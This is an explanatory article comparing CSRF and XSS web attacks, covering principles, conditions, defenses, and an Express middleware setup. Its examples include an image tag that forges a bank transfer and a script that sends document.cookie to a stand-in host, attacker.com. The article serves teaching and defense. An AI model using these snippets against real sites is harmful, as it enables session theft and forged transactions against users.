What are the differences between CSRF and XSS attacks and how to distinguish them?

CSRF (Cross-Site Request Forgery) and XSS (Cross-Site Scripting) are two common web security attacks. Although both involve cross-site interactions, their attack principles, targets, and protection methods are completely different.

Core Differences

1. Attack Principles

CSRF:

• Exploits user's authentication state
• Forges requests initiated by user
• Does not need to obtain user's sensitive information
• Browser automatically sends cookies

XSS:

• Injects malicious script code
• Executes scripts in user's browser
• Can obtain user's sensitive information
• Exploits website's trust in user input

2. Attack Targets

CSRF:

• Target is the server
• Executes operations using user's identity
• Modifies user data, executes sensitive operations
• Does not need to steal user credentials

XSS:

• Target is user's browser
• Steals user information, cookies
• Executes malicious code, hijacks sessions
• Can further initiate CSRF attacks

3. Attack Conditions

CSRF:

• User is logged into target website
• Target website uses cookie authentication
• User visits malicious website
• Target website lacks CSRF protection

XSS:

• Website has input validation vulnerabilities
• Website does not filter user input
• User visits page containing malicious scripts
• Browser executes malicious scripts

Attack Example Comparison

CSRF Attack Example

html
<!-- Code on malicious website -->
<img src="https://bank.com/transfer?to=attacker&amount=1000" />

• When user visits malicious website, browser automatically sends bank website's cookies
• Bank website mistakenly believes this is a transfer request initiated by user

XSS Attack Example

html
<!-- Malicious comment content -->
<script>
  var cookies = document.cookie;
  fetch('https://attacker.com/steal?cookies=' + cookies);
</script>

• Malicious script executes in user's browser
• Steals user's cookie information and sends to attacker's server

Protection Method Comparison

CSRF Protection

1. CSRF Token: Add random token to forms
2. SameSite Cookie: Restrict cross-site cookie sending
3. Verify Referer header: Check request origin
4. Double Submit Cookie: Verify both cookie and request parameters

XSS Protection

1. Input validation: Filter and validate user input
2. Output encoding: HTML encode output content
3. Content Security Policy (CSP): Restrict script sources
4. HttpOnly Cookie: Prevent JavaScript from accessing cookies

Interrelationship

Although CSRF and XSS are different attack methods, they are related:

1. XSS can assist CSRF:

   • Steal CSRF token through XSS
   • Bypass CSRF protection mechanisms

2. Protection strategies complement each other:

   • HttpOnly Cookie prevents XSS from stealing cookies but does not protect against CSRF
   • CSRF Token protects against CSRF but does not protect against XSS
   • Need to implement both protection strategies simultaneously

Protection Strategies in Practical Applications

javascript
// Comprehensive protection example
app.use(helmet()); // CSP and other XSS protection
app.use(cookieSession({
  secret: 'secret',
  cookie: {
    httpOnly: true,  // Prevent XSS theft
    secure: true,
    sameSite: 'lax'  // CSRF protection
  }
}));
app.use(csrf({ cookie: true })); // CSRF Token

Understanding the differences between CSRF and XSS is crucial for building secure web applications, and developers need to defend against both attacks simultaneously.